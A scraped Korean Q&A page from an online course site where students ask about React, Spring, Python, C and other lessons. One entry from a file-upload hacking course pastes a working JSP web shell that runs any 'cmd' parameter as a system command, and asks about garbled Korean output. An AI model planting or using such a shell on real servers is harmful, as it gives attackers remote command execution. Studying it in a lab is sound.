묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨Confluence를 활용해서 효과적으로 지식 관리와 프로젝트 협업하기
Confluence 서버버전에서도 이슈생성이 되는데요
지금 확인을 해보니 서버 버전에서도 이슈 생성이 가능합니다. 그런데, 모든 내용에서 되는 것이 아니고 가능한 헤더폰트 크기가 있는 것 같습니다.
-
미해결Slack 클론 코딩[실시간 채팅 with React]
질문있습니다.
useInput에서는 hadler를 리턴해주는데 구조분해 할당으로 useInput에 return 값을 받을 경우 hadler를 hadler가 아닌 다른 이름의 함수인onChangeEmail 이라는 이름으로 받을 수 있는건가요 ? 궁금합니다.
-
미해결문제로 배우는 C언어
안녕하세요~! 혹시 문제를 다르게 풀었는데 궁금합니다.
안녕하세요! 코딩 초보 입니다. 풀고 나서 강의를 봤는데 저의 코드는 #include<stdio.h> int main(){ int a, b, m0, m1, m2; scanf("%d %d", &a,&b); m0 = a - b; m1 = m0 / 500; m2 = ((a - b)-(m1*500))/ 100; printf("%d\n %d\n %d\n",m0,m1,m2);} 으로 풀었습니다. 혹시 강사님 처럼 공통점을 정해놓고 하나씩 대입해가면서 푸는 습관이 향후 알고리즘을 익히는데 도움이될까요 아님 저처럼 초보는 하나하나씩 저렇게 날거하면서 푸는게 도움이 되는건지 궁금합니다!
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
@ResponseBody 질문입니다.
13분쯤 나오는 V5함수 같은 경우 @ResponseBody 어노테이션을 제외해도 서버에서 클라이언트로 json형식으로 잘 보내지던데 @ResponseBody를 생략해도 되는건가요?? 또, 생략가능하더라도 보통 해당 어노테이션을 붙이는게 좋나요?
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
@ResponseBody 어노테이션 질문입니다
13분쯤 나오는 requestBodyJsonV5 함수에서 @ResponseBody 어노테이션을 제외해도 서버에서 클라이언트로 json으로 잘 가던데 생략가능한건가요? 또, 생략가능하더라도 보통 붙이는게 맞나요?
-
미해결파이썬 입문 및 웹 크롤링을 활용한 다양한 자동화 어플리케이션 제작하기
폴도명 앞에 . 붙어있느건
윈도우 사용자 입니다. 폴도명 앞에 . 붙어있느건 지워도 되는건가요?
-
미해결파이썬 알고리즘 문제풀이 입문(코딩테스트 대비)
섹션 3 봉우리문제 질문이요!!
안녕하세요. 수업잘 듣고 있습니다.^^ 봉우리 문제에서 all()구문을 for문으로 짜보고 싶은데요.. *수업코드* cnt=0 for i in range(1, n+1): for j in range(1, n+1): if all(a[i][j]>a[i+dx[k]][j+dy[k]] for k in range(4)): cnt+=1 print(cnt) 이 부분을 *제코드* cnt=0 for i in range(1,n+1): for j in range(1,n+1): for k in range(4): if b[i][j] < b[i+dx[k]][j+dy[k]]: break else: cnt+=1 print(cnt) 이렇게 바꾸어 봤는데 답이 틀려서 혹시 for 문으로 작성할 수 있나요?
-
미해결파이썬 입문 및 웹 크롤링을 활용한 다양한 자동화 어플리케이션 제작하기
아톰에디서에서 현재 가상환경을 확인할수 있는 방법이 있는지요?
c:/Users/Eunkii7/Anaconda3 가 root 이고 c:/Users/Eunkii7/Anaconda3/envs 에 section2라는 가상환경을 만들어 section2라는 가상환경을 활성화 시킨다음 atom을 동작시키셨는데요 그럼으로서 이아톰으로 section2 라는 가상환경을 사용하는건데 프로젝트 폴더의 경로는 c/section2 에 하셨습니다. 세월이 지난 다음 c/section2 라는 폴더를 열었더니 .py 파일이 존재해서 어떤 파을인가를 볼려고 atom으로 실행시켜 내용을 보고 있는데 이 c/section2에 저장된 .py파일은 어떤 가상환경에서 만들어 졌는지 atom에서 확인하는 방법이 있는지요?
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
LOAD_POSTS_FAILURE 발생
안녕하세요! 다름이 아니라 강의를 들으며 코드를 작성하는데 게시글들을 로드하는데 있어서 계속해서 LOAD_POSTS_FAILURE가 되면서 500 상태코드의 서버에러가 발생합니다. 에러메세지를 보면 Post.findAll이 정의되지 않는다고하는데, Post가 비어있어서 finAll이 작동하지 않는 것 같습니다. 하지만 db 상으로 보면 posts 테이블이 잘 채워져있는데 왜 에러가 발생하는지 모르겠습니다ㅠㅠ 관련 코드 올려놓겠습니다. routes/posts.js const express = require('express'); const { Post, Image, User, Comment } = require('../models'); const router = express.Router(); router.get('/', async (req, res, next) => { // GET /posts try{ const posts = await Post.findAll({ limit: 10, order: [ ['createdAt', 'DESC'], [Comment, 'createdAt', 'DESC'] ], include: [{ model: User, attributes: ['id', 'nickname'], }, { model: Image, }, { model: Comment, include: [{ model: User, attributes: ['id', 'nickname'], }], }, { mode: User, as: 'Likers', attributes: ['id'], }], }); console.log(posts); res.status(200).json(posts); } catch (error) { console.error(error); next(error); } }); module.exports = router; reducers/post.js import produce from '../util/produce'; export const initialState = { mainPosts: [], imagePaths: [], hasMorePosts: true, likePostLoading: false, likePostDone: false, likePostError: null, unlikePostLoading: false, unlikePostDone: false, unlikePostError: null, loadPostsLoading: false, loadPostsDone: false, loadPostsError: null, addPostLoading: false, addPostDone: false, addPostError: null, removePostLoading: false, removePostDone: false, removePostError: null, addCommentLoading: false, addCommentDone: false, addCommentError: null, }; export const LIKE_POST_REQUEST = 'LIKE_POST_REQUEST'; export const LIKE_POST_SUCCESS = 'LIKE_POST_SUCCESS'; export const LIKE_POST_FAILURE = 'LIKE_POST_FAILURE'; export const UNLIKE_POST_REQUEST = 'UNLIKE_POST_REQUEST'; export const UNLIKE_POST_SUCCESS = 'UNLIKE_POST_SUCCESS'; export const UNLIKE_POST_FAILURE = 'UNLIKE_POST_FAILURE'; export const LOAD_POSTS_REQUEST = 'LOAD_POSTS_REQUEST'; export const LOAD_POSTS_SUCCESS = 'LOAD_POSTS_SUCCESS'; export const LOAD_POSTS_FAILURE = 'LOAD_POSTS_FAILURE'; export const ADD_POST_REQUEST = 'ADD_POST_REQUEST'; export const ADD_POST_SUCCESS = 'ADD_POST_SUCCESS'; export const ADD_POST_FAILURE = 'ADD_POST_FAILURE'; export const REMOVE_POST_REQUEST = 'REMOVE_POST_REQUEST'; export const REMOVE_POST_SUCCESS = 'REMOVE_POST_SUCCESS'; export const REMOVE_POST_FAILURE = 'REMOVE_POST_FAILURE'; export const ADD_COMMENT_REQUEST = 'ADD_COMMENT_REQUEST'; export const ADD_COMMENT_SUCCESS = 'ADD_COMMENT_SUCCESS'; export const ADD_COMMENT_FAILURE = 'ADD_COMMENT_FAILURE'; export const addPost = (data) => ({ type: ADD_POST_REQUEST, data, }); export const addComment = (data) => ({ type: ADD_COMMENT_REQUEST, data, }); // 이전 상태를 액션을 통해 다음 상태로 만들어내는 함수(불변성은 지키면서) const reducer = (state = initialState, action) => produce(state, (draft) => { switch (action.type) { case LIKE_POST_REQUEST: draft.likePostLoading = true; draft.likePostDone = false; draft.likePostError = null; break; case LIKE_POST_SUCCESS: { const post = draft.mainPosts.find((v) => v.id === action.data.PostId); post.Likers.push({ id: action.data.UserId }); draft.likePostLoading = false; draft.likePostDone = true; break; } case LIKE_POST_FAILURE: draft.likePostLoading = false; draft.likePostError = action.error; break; case UNLIKE_POST_REQUEST: draft.unlikePostLoading = true; draft.unlikePostDone = false; draft.unlikePostError = null; break; case UNLIKE_POST_SUCCESS: { const post = draft.mainPosts.find((v) => v.id === action.data.PostId); post.Likers.filter((v) => v.id !== action.data.UserId); draft.unlikePostLoading = false; draft.unlikePostDone = true; break; } case UNLIKE_POST_FAILURE: draft.unlikePostLoading = false; draft.unlikePostError = action.error; break; case LOAD_POSTS_REQUEST: draft.loadPostsLoading = true; draft.loadPostsDone = false; draft.loadPostsError = null; break; case LOAD_POSTS_SUCCESS: draft.loadPostsLoading = false; draft.loadPostsDone = true; draft.mainPosts = draft.mainPosts.concat(action.data); draft.hasMorePosts = draft.mainPosts.length < 50; break; case LOAD_POSTS_FAILURE: draft.loadPostsLoading = false; draft.loadPostsError = action.error; break; case ADD_POST_REQUEST: draft.addPostLoading = true; draft.addPostDone = false; draft.addPostError = null; break; case ADD_POST_SUCCESS: draft.addPostLoading = false; draft.addPostDone = true; draft.mainPosts.unshift(action.data); break; case ADD_POST_FAILURE: draft.addPostLoading = false; draft.addPostError = action.error; break; case REMOVE_POST_REQUEST: draft.removePostLoading = true; draft.removePostDone = false; draft.removePostError = null; break; case REMOVE_POST_SUCCESS: draft.removePostLoading = false; draft.removePostDone = true; draft.mainPosts = draft.mainPosts.filter((v) => v.id !== action.data); break; case REMOVE_POST_FAILURE: draft.removePostLoading = false; draft.removePostError = action.error; break; case ADD_COMMENT_REQUEST: draft.addCommentLoading = true; draft.addCommentDone = false; draft.addCommentError = null; break; case ADD_COMMENT_SUCCESS: { const post = draft.mainPosts.find((v) => v.id === action.data.PostId); post.Comments.unshift(action.data); draft.addCommentLoading = false; draft.addCommentDone = true; break; } case ADD_COMMENT_FAILURE: draft.addCommentLoading = false; draft.addCommentError = action.error; break; default: break; } }); export default reducer; sagas/post.js import axios from 'axios'; // import shortId from 'shortid'; import { all, delay, fork, put, takeLatest, throttle, call } from 'redux-saga/effects'; import { ADD_COMMENT_FAILURE, ADD_COMMENT_REQUEST, ADD_COMMENT_SUCCESS, ADD_POST_FAILURE, ADD_POST_REQUEST, ADD_POST_SUCCESS, LIKE_POST_FAILURE, LIKE_POST_REQUEST, LIKE_POST_SUCCESS, // generateDummyPost, LOAD_POSTS_FAILURE, LOAD_POSTS_REQUEST, LOAD_POSTS_SUCCESS, REMOVE_POST_FAILURE, REMOVE_POST_REQUEST, REMOVE_POST_SUCCESS, UNLIKE_POST_FAILURE, UNLIKE_POST_REQUEST, UNLIKE_POST_SUCCESS, } from '../reducers/post'; import { ADD_POST_TO_ME, REMOVE_POST_OF_ME } from '../reducers/user'; function likePostAPI(data) { // data: post.id return axios.patch(`/post/${data}/like`); } function* likePost(action) { try { const result = yield call(likePostAPI, action.data); yield put({ type: LIKE_POST_SUCCESS, data: result.data, // PostId, UserId }); } catch (err) { console.error(err); yield put({ type: LIKE_POST_FAILURE, data: err.response.data, }); } } function unlikePostAPI(data) { return axios.delete(`/post/${data}/like`); // return axios.patch(`/post/${data}/unlike`); 도 가능 } function* unlikePost(action) { try { const result = yield call(unlikePostAPI, action.data); yield put({ type: UNLIKE_POST_SUCCESS, data: result.data, }); } catch (err) { console.error(err); yield put({ type: UNLIKE_POST_FAILURE, data: err.response.data, }); } } function loadPostsAPI(data) { return axios.get('/posts', data); } function* loadPosts(action) { try { const result = yield call(loadPostsAPI, action.data); yield put({ type: LOAD_POSTS_SUCCESS, // data: generateDummyPost(10), data: result.data, }); } catch (err) { console.error(err); yield put({ type: LOAD_POSTS_FAILURE, data: err.response.data, }); } } function addPostAPI(data) { return axios.post('/post', { content: data }); } function* addPost(action) { try { const result = yield call(addPostAPI, action.data); yield put({ type: ADD_POST_SUCCESS, data: result.data, }); yield put({ type: ADD_POST_TO_ME, data: result.data.id, }); } catch (err) { console.error(err); yield put({ type: ADD_POST_FAILURE, data: err.response.data, }); } } function removePostAPI(data) { return axios.delete('/api/post', data); } function* removePost(action) { try { // const result = yield call(removePostAPI, action.data); yield delay(1000); yield put({ type: REMOVE_POST_SUCCESS, data: action.data, }); yield put({ type: REMOVE_POST_OF_ME, data: action.data, }); } catch (err) { console.error(err); yield put({ type: REMOVE_POST_FAILURE, data: err.response.data, }); } } function addCommentAPI(data) { return axios.post(`/post/${data.postId}/comment`, data); } function* addComment(action) { try { const result = yield call(addCommentAPI, action.data); yield put({ type: ADD_COMMENT_SUCCESS, data: result.data, }); } catch (err) { yield put({ type: ADD_COMMENT_FAILURE, data: err.response.data, }); } } function* watchLikePost() { yield takeLatest(LIKE_POST_REQUEST, likePost); } function* watchUnlikePost() { yield takeLatest(UNLIKE_POST_REQUEST, unlikePost); } function* watchLoadPosts() { yield throttle(5000, LOAD_POSTS_REQUEST, loadPosts); } function* watchAddPost() { yield takeLatest(ADD_POST_REQUEST, addPost); } function* watchRemovePost() { yield takeLatest(REMOVE_POST_REQUEST, removePost); } function* watchAddComment() { yield takeLatest(ADD_COMMENT_REQUEST, addComment); } export default function* postSaga() { yield all([ fork(watchLikePost), fork(watchUnlikePost), fork(watchAddPost), fork(watchLoadPosts), fork(watchRemovePost), fork(watchAddComment), ]); }
-
미해결홍정모의 따라하며 배우는 C++
코드 상에 뭐가 틀린걸까요?
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저
-
미해결우리를 위한 프로그래밍 : 파이썬 중급 (Inflearn Original)
python -m venv 오류
작업 폴더는 C:\Users\User\python_mid 여기서 하고 있고 몇 번 계속해봤는데 저런 오류 메시지만 뜨더라구요,, 어떻게 해야하나요
-
미해결디지털 포렌식 (Digital Forensic) 전문가 과정
pstree, psscan 관련 질문 드립니다.
부모 프로세스가 없는 것을 어떻게 바로 확인하신 건지 궁금합니다.
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
적은 클래스에 대한 불량 검출하는 semantic segmentation 모델과 패키지 중에 추천해주실 만한 것이 있을까요?
안녕하세요 배경을 포함해서 3개 정도 클래스를 구분하는 segmentation 문제를 풀어보려고 하는데 유명한 패키지? 라고 해야 하나 아래 2개정도로 생각이 드는데, 아래 패키지에서 잘 알려진 DeepLabV3+ 다른걸 써보고 싶은데, 너무 생소한 이름의 모델이 많아서요 혹시 생각나신 것이 있으면 살짝 언급해주실 수 있나요? https://github.com/qubvel/segmentation_models.pytorch https://github.com/open-mmlab/mmsegmentation
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
mmdetection에서의 mask-rcnn에 대해서 질문이 있습니다
안녕하세요 mmdetection 모델 목록에 mask-rcnn이 있는데, 그 이유가 roi-align 부분만 빼면 Detection 모델인 Faster-RCNN이랑 똑같기 때문에 그런 것인가요?
-
미해결Slack 클론 코딩[실시간 채팅 with React]
useCallback 사용 시점
최근에 기업 과제를 진행 했었는데 무분별한 useCallback 사용은 안 좋다고 하더라구요 여기서 무분별한 useCallback의 안 좋은점이 뭐가 있는지 알려주실 수 있으신가요 ?!
-
미해결[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
질문 부탁드랴요
찻번째 sendFile은 무조건 index.html 이 파일 이름으로 해야하는 건가요? html 파일을 sendFile하면 css나 이미지 에러나는데 왜그런 건가요?
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
throws Exception 관련
controller 자식 클래스에서 Exception를 메소드 방식으로 , 이를 실행하는 곳으로 다 떠 넘겨 버린거 같은데, 자식클래스에서 직접 처리하지 않고 이렇게 하는 것은 예외 처리 또한 중복되서 그런건가요?
-
미해결프로그래밍 시작하기 : 웹 입문 (Inflearn Original)
개발자 도구에 계속 이것만 뜨는데 어디에서 틀렸는지 모르겠습니다 ㅠㅠ
이게 맞는지 모르겠습니다... 다른 답변들 보면서 파일을 계속 고쳤는데 제자리걸음인 것 같아서 질문 올립니다...
-
미해결프로그래밍 시작하기 : 웹 입문 (Inflearn Original)
logo.EventListener('click ... 이 작동되지 않습니다
안녕하세요. mac 으로 강의 들으면서 작성해보고 있는 수강자인데요. 이전까지는 괜찮았는데 DOM 강의 들어서면서부터 몇몇 부분이 잘 작동이 안되더라고요... 이전 질문 찾아보면서 해보려고 노력했는데, 구글 로고 삭제나 색 변경 같은 부분은 자꾸 에러가 납니다... 어떻게 해야할지 잘 모르겠어요 ㅠㅜ
-
미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
JSP 한글 깨짐
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("EUC-KR"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP ????????? ????? ?????:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VirtualBox Host-Only Network:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 ??? . . . . . . . . . : 192.168.56.1????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . :????? ????? Npcap Loopback Adapter:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::58f7:a775:f5e8:992%16??? ???? IPv4 ??? . . . . : 169.254.9.146????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? ???? ???? ????* 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :???? LAN ????? ???? ???? ????* 3:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VMware Network Adapter VMnet1:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::f1ac:f03a:410c:dce8%8??? ???? IPv4 ??? . . . . : 169.254.220.232????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :????? ????? VMware Network Adapter VMnet8:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::3d53:cac6:432c:144d%14??? ???? IPv4 ??? . . . . : 169.254.20.77????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? Wi-Fi:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::61d4:9204:78ca:69c%3IPv4 ??? . . . . . . . . . : 192.168.0.5????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . : 192.168.0.1????? ????? Bluetooth ?????? ???? 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . : <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("UTF-8"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP �����̴��� ����� �̴���:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VirtualBox Host-Only Network:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 �ּ� . . . . . . . . . : 192.168.56.1����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� Npcap Loopback Adapter:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::58f7:a775:f5e8:992%16�ڵ� ���� IPv4 �ּ� . . . . : 169.254.9.146����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� ���� ���� ����* 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :���� LAN ����� ���� ���� ����* 3:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VMware Network Adapter VMnet1:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::f1ac:f03a:410c:dce8%8�ڵ� ���� IPv4 �ּ� . . . . : 169.254.220.232����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� VMware Network Adapter VMnet8:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::3d53:cac6:432c:144d%14�ڵ� ���� IPv4 �ּ� . . . . : 169.254.20.77����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� Wi-Fi:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::61d4:9204:78ca:69c%3IPv4 �ּ� . . . . . . . . . : 192.168.0.5����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . : 192.168.0.1�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . : 한글이 깨집니다. 저번에 php때도 깨져서 EUC-KR로 바꾸니까 잘 해결됬는데 JSP는 해결이 안되네요.